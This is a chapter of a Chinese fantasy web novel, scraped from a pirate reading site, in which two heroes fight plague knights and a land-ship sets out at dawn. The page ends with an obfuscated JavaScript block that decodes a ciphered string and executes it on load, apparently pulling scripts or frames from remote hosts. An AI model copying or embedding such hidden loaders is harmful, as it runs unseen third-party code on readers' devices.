首页
第299章 新征程
返回
关灯 护眼:关 字号:小

第299章 新征程

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    黑夜的边缘,晨光缓缓浮现,它是如此纤细、模糊,但又坚定不移地升腾,宣告这场突围战的倒计时。
    希里安凝望了一眼那金灿灿的弧光。
    紧急的调动与激烈的战斗,牵动了所有人的心神。
    人们本能地遗忘了时间的流逝,直至此时,才缓缓意识到,黎明已近在眼前。
    一时间,所有人的士气都得到了极大的提升,只要撑到天色完全明亮、白日高悬,当下疯狂的一切,都将迎来休止。
    哪怕这场休止,只局限于下一次黑夜降临。
    可对于绝大多数人而言,这都是十足的诱惑,足以令他们竭尽全力地作战。
    同样,类似的变化也在孢囊圣所之中发生。
    一部分的恶孽子嗣感到了恐慌,本能地想要躲藏进腐植之地的阴影、钻入地下深处,以避开阳光的致命灼烧。
    更多的恶孽子嗣,则是陷入了极端的狂热。
    他们渴望在白日彻底升起之前,吞没这艘将要启航的陆行舰,哪怕无法阻挠它的前进,也要尽可能地留下损伤,以拖慢它的脚步。
    双方都变得歇斯底里,狂怒至极。
    上层甲板中,瘟腐骑士们兵分两路,一批前去破坏架设的自律武装,另一批快速逼近,阻击希里安与伊琳丝的。
    见此情景,无需任何多余的言语,两人自然而然地分散开了。
    伊琳丝一个虎跃出去,巨剑劈向一名瘟腐骑士……
    不,那简直不是劈砍,而是凭借自身骇人的重量,简单且纯粹的砸击。
    瘟腐骑士架起长剑,尝试格挡这呼啸的一击。
    螳臂当车。
    与巨剑接触的瞬间,长剑应声崩裂,无论它具备怎样的混沌威能与病菌,此刻都碎裂成了千百块。
    而后,巨剑正中瘟腐骑士的面门。
    嘎吱——
    金属的头盔被砸得干瘪了下去,连带其中的腐朽的血肉组织,像是榨汁般,从缝隙里喷溅而出。
    惯性的作用下,巨剑继续向下。
    将头颅完全砸进了胸腔里,再将可怜的脊柱彻底粉碎,直至把他的上半身一分为二。
    伊琳丝一脚踩在早已没了生机的尸骸上,用力地拽了拽剑柄,将镶进这破铜烂铁里的巨剑,完全拔起。
    哗啦!
    她像是打开了水阀般,源源不断的鲜血、脓液,汩汩地从残骸里溢出,淌了一地。
    如此暴虐的一击,令将要爆发的厮杀,向后延迟了几秒,四周一片静谧。
    瘟腐骑士们的行动停滞在了原地,一时间弄不清,究竟是该围攻这具高大的沉默甲胄,还是继续自己的破坏计划。
    伊琳丝并不在意他们的想法,反正结果都一样。
    她粗略地计算了一下敌人们的数量,一把巨剑的斩杀效率远远不够。
    因此,一排排虚影再次环绕起伊琳丝,从中取出又一把巨剑,单手将其举起。
    重量沉甸甸的,足以劈开孱弱的血肉,很是令人安心。
    同械甲胄下传来野兽低吼般的嗡鸣,功率提升至峰值,将伊琳丝的身影扭曲成了一道模糊的鬼影,眨眼间出现在了另一名瘟腐骑士的身侧。
    双剑交叉荡起。
    率先而至的巨剑,一举将他的头颅从躯干上撕下,另一把巨剑姗姗来迟,重击著腰背,将脊柱打断。
    到了这一刻,瘟腐骑士们才如梦初醒般,咆哮著围攻而至。
    希里安旁观了这场突然爆发的厮杀,丝毫没有伸出援手的意思。
    对于寻常的超凡者而言,具备一定不死属性的瘟腐骑士们,显然是一群棘手的敌人。
    可在希里安看来,他们和寻常的恶孽子嗣唯一的差异,仅仅是在斩杀时,需要多补上那么一刀罢了。
    更不要说,受限于那苛刻的献祭条件,绝大多数的瘟腐骑士们阶位并不高,哪怕是处于阶位三的存在,都极为少见。
    「轮到我了吗?」
    希里安收回了视线,看向位于自己面前的瘟腐骑士们。
    丑陋的头盔遮住了他们的脸庞,但希里安隐隐能觉察到,这些可怜虫此刻的不安与迷茫。
    好在,属于他们的痛苦很快就要结束了。
    「咕咕……」
    六目翼盔发出了标志性的鸟鸣声,瘟腐骑士们也像是收到了某种讯号般,挥起刀剑,砍杀而来。
    冰冷的寒芒在希里安的手中闪烁,锁刃剑犹如弹出的长矛般,精准射杀了为首的瘟腐骑士,贯穿了他的躯干。
    相较于伊琳丝野蛮的战斗风格,希里安的攻势从举止上来看,要文雅上不少。
    锁刃剑迅速回收,在瘟腐骑士的胸口上留下了一道贯穿的血洞,伤势看似致命,可并不足以杀死他。
    菌丝聚拢,修补起血洞。
    忽然,一股灼热的痛意从胸膛深处涌现。
    瘟腐骑士来不及思考自己遭遇了什么,扩散的狂乱之力便将他可怜的理智搅成了一团乱麻。
    趋于疯狂的思绪,不断闪灭的幻觉,以及,与甲胄融合的躯体,正诡异地蠕动、起伏,像是在孕育起某种可怕的事物。
    闪烁。
    炽白的光焰从血洞里闪烁了数下,所有的光与热坍缩至了一点。
    咒焰爆发。
    熊熊烈焰由内而外地扩散,撑爆了瘟腐骑士的躯体,撕碎了甲胄与血肉,连带著生长的菌丝一并烧成了灰烬。
    待火光消散,原地只剩下了烧黑的金属残片,以及一道印在原地上的黑印。
    那是碳化后的骨骼与血肉。
    也是在这道闪光之后,希里安周遭的瘟腐骑士们,纷纷停下了围攻的步伐。
    伊琳丝的强大是看得见、摸得著的。
    无论是矫健的动作,还是巨剑的轨迹,都实实在在地映入瘟腐骑士们的眼中。
    哪怕无法力敌,心中仍有著一定的预期。
    但希里安不同。
    瘟腐骑士们经常与执炬人作战,很了解他们的特质,也明白诸多操作魂髓之火的技巧。
    可他们从未见过,这等诡异的光焰,竟可以从内部击溃混沌威能的庇护,连带著躯体的一切,焚灭殆尽。
    「还是我要更高效些。」
    希里安自我评价了一句,卯足了力气,冲刺挺进。
    锁刃剑再度延展,挥起巨大的半弧,犹如扫过麦田的镰刀,在一众扭曲的甲胄上,劈砍下了一道纤细的血痕。
    鲜血尚未滴落,咒焰爆裂旋升。
    「哈哈!」
    希里安纵情狂杀,阻击降落在上层甲板处的瘟腐骑士们。
    他与伊琳丝联手,凭借著两人的力量,硬是控制住了当下的局势。
    四周的自律武装持续开火,轰鸣的震颤像某种鼓点般,搏动著在场的所有人。
    破晓之牙号气势如虹,孢囊圣所也重整起攻势。
    黑云般的有翼妖魔群中,数道庞大的轮廓缓缓上浮,像是自腐化天穹剥离的脏器。
    随著距离拉近,其形态逐渐清晰。
    那是一只只水母状的巨物,由无数惨白菌丝、霉烂木材与半腐血肉编织而成,像是一座座空中的孤岛。
    大量的有翼妖魔将它视作了巢穴,著落、起飞。
    盘旋不止。
    伊琳丝的声音在频道里响起,冷硬如铁。
    「是孢云母巢……还是拖到它们升空了。」
    孢云母巢的体表密布大小不一的孔洞,呼吸般的搏动中,除了有一头头有翼妖魔钻出外,还有浓浊的绿黄色毒雾从中持续喷涌,向大地弥漫、沉降。
    数头孢云母巢同时释放毒雾,化作厚实的雾墙,高耸接天,向著破晓之牙号缓缓压来。
    几门火炮立即调整射角,试图点杀这些巨型目标,但无数的有翼妖魔,已如活体盾牌般环绕在其周围,直接以身躯阻挡弹道,在爆裂的火光中碎成血雨。
    「这是孢囊圣所用衍噬命途特化培育的混沌生物,属大型空中单位。
    其本身就是一个高浓度污染源,既能搭载大量有翼妖魔,又能将自身毒素注入它们体内,进行强化。」
    伊琳丝解答的途中,动作毫无滞涩地掷出巨剑,将远处一名瘟腐骑士钉穿在甲板上。
    紧接著,她旋身挥臂,铁拳砸塌了另一名瘟腐骑士的胸甲,五指抠进血肉深处,硬生生扯出一截沾满黏湿菌丝的脊骨。
    她的语气愈发沉冷。
    「孢云母巢喷发的毒雾,具有强腐蚀性与神经毒性,只要沾上皮肉,哪怕超凡者的躯体也会产生一定程度的溃烂。
    不过,它真正的致命点在于,其通常会自杀式地坠落在陆行舰上,将自己摔得粉碎的同时,也将自身携带的混沌威能进行彻底的爆发,对一整片区域进行深度的腐蚀与污染。
    她将沾血的脊骨甩开,看向雾墙中若隐若现的庞大阴影。
    「先前,我们就遗漏了几头孢云母巢,让它们成功命中了舰体,导致了几处区域被完全腐蚀,沦为了废弃层。」
    听到此处,希里安神色凛然。
    就算他可以在甲板上,近乎屠杀式地碾过所有的瘟腐骑士,可面对这处于高空之上的单位时,也变得束手无策。
    这远超了锁刃剑延展的范围,源能释放的极限距离,也无法将其覆盖,哪怕掏出怒流左轮,这种距离也超出了射程。
    希里安与伊琳丝什么也做不了,只能坚守在各自的岗位上。
    聆听——炮火的轰鸣。
    这轮炮击并非来自破晓之牙号,而是出自于孤塔之城的外壁高墙上。
    位于空港枢纽的防御阵列深处,灵匠们扳动了沉重的操纵杆。
    齿轮咬合的闷响在廊道中回荡,尘封已久的炮台基座开始震颤。
    覆盖炮管的防尘罩被液压装置粗暴地掀开,露出下方粗壮的炮身,冷却液在管道中发出汩汩的流动声,能量导管逐一亮起幽蓝的微光。
    「快快快!」
    灵匠们大声催促,操控著自动装置,将一人高的弹体从滑轨上卸下,推进敞开的装填口。
    金属与金属碰撞的铿锵声短促而有力。
    闭锁机构「咔哒」合拢,炮闩沉重地闭合。
    灵匠从后颈处,扯出几缕神经驳接线,将它插进了装置接口里。
    一瞬间,他仿佛与这座重炮合为一体了般,视野与光学瞄具共享,十字准星在弥漫的毒雾与黑压压的翼群中缓慢移动,锁定那些缓缓蠕动的巨大轮廓。
    「目标锁定!」
    嘶哑的吼声在通讯频道里炸开。
    「开火!」
    压下发射杆。
    炮口喷出的不是火焰,而是瞬间膨胀、凝固如实质的炽白激波。
    后坐力让整座炮台连同下方的钢结构平台猛地震颤,钢铁呻吟。
    灼目的火流撕裂空气,拖出肉眼可见的扭曲尾迹,所过之处的雾气被蒸发出一条笔直的真空通道。
    第一发火流精准地贯穿了最近的一头孢云母巢。
    命中点的菌丝与腐败血肉没有飞溅,而是在超过承受极限的高温中直接汽化,留下一个边缘熔融、直径超过三米的恐怖空洞。
    火流内部压缩到极致的能量,在穿透后延迟了半秒后,从内部爆发。
    孢云母巢的躯体像灌满脓液的气球般鼓胀、变形。
    表面的孔洞同时喷出掺著火星的浓绿毒烟,而后整个结构从内向外炸开。
    不是碎裂,而是彻底的崩解。
    燃烧的菌丝团块、半融化的骨架、以及被点燃的、黏腻的血肉组织,化作一场覆盖小半片空域的死亡火雨,劈头盖脸地砸向下方的腐植之地。
    紧接著,是第二发、第三发。
    火流如同天神投下的裁决之矛,接连不断地凿穿雾墙。
    每一次命中都引发一次规模骇人的殉爆,燃烧的残骸砸入下方蠕动的大地。
    有的直接命中聚集的恶孽子嗣队列,将扭曲的身形碾成肉泥后继续爆炸,有的坠落在腐植菌毯上,引燃大片墨绿色的植被,火势随著流淌的脓液迅速蔓延。
    透过弥漫的硝烟与坠落的火光,可以看见恶孽子嗣们正仰著头,扭曲面孔上的狂热凝固了,取而代之的是本能的恐惧与茫然。
    毒雾屏障被来自空港枢纽的打击轻易洞穿,视为空中堡垒的孢云母巢正化作燃烧的墓碑坠落。
    一些靠近坠落点的恶孽子嗣们,不由自主地后退,踩踏同伴溃烂的肢体,试图躲入更深的阴影。
    阵型边缘,已经有零星的个体转身逃窜,钻进蠕动的根须洞穴,却被后方督战的恶孽子嗣,用触须般的肢体刺穿、拖回。
    炮击没有停歇。
    灵匠们将自身与重炮连接在了一起,机械地重复著卸弹、推入、闭锁的动作。
    炮管在连续射击中变得暗红,冷却系统发出尖锐的嘶鸣。
    天空下起了一场反向的、燃烧的暴雨。
    破晓之牙号的舰桥中,梅尔文正面无表情地俯瞰全局。
    在他原本的计划中,他们应当在天明时分,混沌遭到日光压制的时刻,全速驶离孤塔之城。
    没有任何阻挠,也不会有任何风险可言。
    但在思考再三后,梅尔文放弃了这个计划,而是选择在天明之前,伪装出尝试突围的行动,引诱孢囊圣所的阻击。
    这时,再配合起外壁高墙的火力,对敌人的力量进行一次集中打击。
    从目前来看,这次打击行动非常成功。
    虽然破晓之牙号也遭到了一定程度的损伤,但也成功杀伤了孢囊圣所的有生力量。
    这就意味著,在之后的几夜里,阻击旅团前进的力量,将有很大程度的削弱,可以确保自身走的更远。
    这远比在白日里顺利出行,又在夜里孤军奋战,要划算得多。
    梅尔文仔细审视了一下战局的情况,再望向那渐起的晨光。
    金色的弧光正变得越发明亮,从地平线的尽头缓缓升起,将浓重的夜色撕裂、驱散,也迫使狭间灰域如潮水般哀鸣著退却。
    梅尔文拿起通讯器,频道接入,开始了全舰广播。
    可他没有第一时间说话。
    话筒抵在唇边,呼吸凝滞。
    该说什么?
    是重复那些早已被血与火磨薄了的激励口号?还是编织一个关于白日圣城、关于归家的、遥远到近乎虚幻的许诺?亦或是用更现实的利益,去鼓舞这群伤痕累累、却依旧死守岗位的人们?
    喉结滚动了一下,又归于沉寂。
    那些华而不实的句子堵在喉咙里,像生了锈的齿轮,无论如何也转不动。
    他太累了,他们也一样。
    有些话,说一遍是热血,说一百遍,便只剩苍白。
    最终,梅尔文放弃了所有精心构思的辞藻。
    目光扫过控制台上跳动的日期数字,一个几乎被所有人遗忘的标记。
    梅尔文缓缓开口,声音通过无数扬声器,穿透舰桥的指挥台、炮火轰鸣的甲板、机油与汗水混杂的轮机舱,在破晓之牙号每一个角落清晰响起。
    「我是梅尔文·冷日。」
    短暂的停顿,让所有听到这句话的人,都不自觉地停下了半拍动作。
    「诸位。」
    声音里听不出激昂,反而带著一种历经沧桑后的平静。
    他说道。
    「复兴节快乐。」
    复兴节?
    许多正在更换弹链的炮手、盯著仪表盘的灵匠、在走廊里奔跑的船员,都愣了一瞬。
    战火、死亡、腐臭的毒雾……几乎让他们忘记了时间的流逝,忘记了今天是什么日子。
    那个象征著文明从灰烬中重生的节日,竟在这样一个地狱般的黎明被回忆起来。
    梅尔文并未留给任何人感慨的时间,平静的语调骤然收紧,化作不容置疑的命令。
    「我们该启航了。」
    静谧在陆行舰内蔓延了一两秒,直到副官嘶哑的吼声,在内部频道炸响。
    「舰长命令,全舰进入一级航行状态!重复,一级航行状态!」
    如同按下了一个无形的开关。
    「轮机室,报告!
    主引擎组预热完成,所有压力阀正常!辅助动力单元在线!
    输出功率正在提升,百分之三十……百分之五十……稳定!」
    轮机室内,震耳欲聋的轰鸣骤然拔高了一个维度,粗壮的管线随著澎湃的动力传输而微微震颤,仪表盘上的指针齐齐划向绿色区域。
    「履带传动系统自检完毕,所有液压缓冲器压力正常!」
    两江全神贯注的操控下微微调整角度,连接著舰体两侧那高楼般巨型履带的传动轴开始发出低沉的、蓄势待发的嗡鸣。
    「各部门,最后确认!」
    「已就位!」
    「已就位!」
    一连串高效的报告声中,梅尔文的目光牢牢锁定在了前方。
    望向那片被晨光映照出的、无边无际的腐植之地。
    他深吸一口气,对著主通讯频道,吐出了那个决定性的话语。
    「推进。」
    「推进!」
    「向前推进!」
    命令被层层传递、放大。
    破晓之牙号舰体深处,引擎组轰鸣尖叫,将海量的动力通过粗壮的传动系统,灌注至每一块履带板,每一根承重轴。
    轰——隆——!
    整艘陆行舰猛地一震,舰首微微昂起,撞角对准了前方蠕动的大地。
    高楼般的履带缓缓转动。
    起初缓慢,碾压早已化为焦土与血肉混合物的战场。
    速度渐渐提升,履带每次的抬起、落下,都更加有力,更加迅猛。
    突进。
    破晓之牙号蛮横地撞开了腐植菌毯,碾过那些在日光下萎缩的扭曲根须,将零散恶孽子嗣连同他们脆弱的巢穴一起,卷入钢铁的洪流之下。
    化为舰体后方一道延伸的、由墨绿汁液、破碎甲壳和暗红血浆铺就的残酷轨迹。
    希里安将锁刃剑从一具彻底碳化残骸中拔出,环顾四周。
    甲板上散布著燃烧的碎片,还有正在冷却的畸形尸体,自动炮台的枪管仍在飘散著缕缕青烟。
    伊琳丝伫立在稍远处,染血的巨剑杵在身旁,高大的同械甲胄面朝陆行舰前进的方向。
    阳光灿烂。
    不再是那纤细脆弱的金弧,而是磅礴的、无可阻挡的光之潮汐,自天际奔涌而下,彻底淹没了残余的夜色与灰雾。
    腐植之地在日光的灼烧下,发出无声的哀嚎,地表那层黏腻的活性组织,以肉眼可见的速度干枯、卷曲、化作飞灰。
    更深处的根须疯狂地向地下收缩,像是被烫伤的触手。
    引擎的咆哮稳定在最高功率,破晓之牙号在加速中逐渐达到了巡航速度,向著那晨光指引的方向,全速前进。
    希里安与伊琳丝对视了一眼,心潮澎湃。
    ……
    城邦历435年。
    希里安结识了同为受祝之子的伊琳丝·冷日,并随同破晓之牙号,离开了孤塔之城。
    驶向命运的波澜。
    书荒?来看看奇幻小说小说推荐吧!
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();